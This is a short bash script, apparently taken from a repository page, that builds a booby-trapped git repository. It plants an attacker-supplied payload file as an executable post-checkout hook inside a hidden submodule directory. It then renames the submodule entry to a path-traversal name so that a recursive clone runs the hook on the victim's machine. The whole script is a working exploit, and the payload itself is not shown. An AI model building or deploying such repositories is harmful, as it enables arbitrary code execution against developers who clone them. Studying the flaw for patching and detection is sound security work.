29 lines
931 B
Bash
Executable File
29 lines
931 B
Bash
Executable File
#!/bin/bash
|
|
evil_submodule="zemodule"
|
|
empty_submodule="https://github.com/pielgrzym/noop"
|
|
|
|
rm -rf evil_git_repo
|
|
|
|
git init evil_git_repo --bare
|
|
mv evil_git_repo/hooks/post-update.sample evil_git_repo/hooks/post-update
|
|
chmod a+x evil_git_repo/hooks/post-update
|
|
|
|
temp_repo=$(mktemp -d)
|
|
git clone evil_git_repo $temp_repo
|
|
old_dir=$(pwd)
|
|
cd $temp_repo
|
|
export GIT_WORK_TREE=$temp_repo
|
|
mkdir -p fakegit/modules
|
|
git submodule add $empty_submodule $evil_submodule
|
|
git submodule add $empty_submodule error
|
|
mv .git/modules/$evil_submodule fakegit/modules/$evil_submodule
|
|
cp $old_dir/payload.txt fakegit/modules/$evil_submodule/hooks/post-checkout
|
|
chmod 755 fakegit/modules/$evil_submodule/hooks/post-checkout
|
|
git config -f .gitmodules --rename-section submodule.$evil_submodule submodule.../../fakegit/modules/$evil_submodule
|
|
sed -i 's/\.git/fakegit/' $evil_submodule/.git
|
|
|
|
git add .
|
|
git commit -m 'Initial commit'
|
|
git push
|
|
rm -rf $temp_repo
|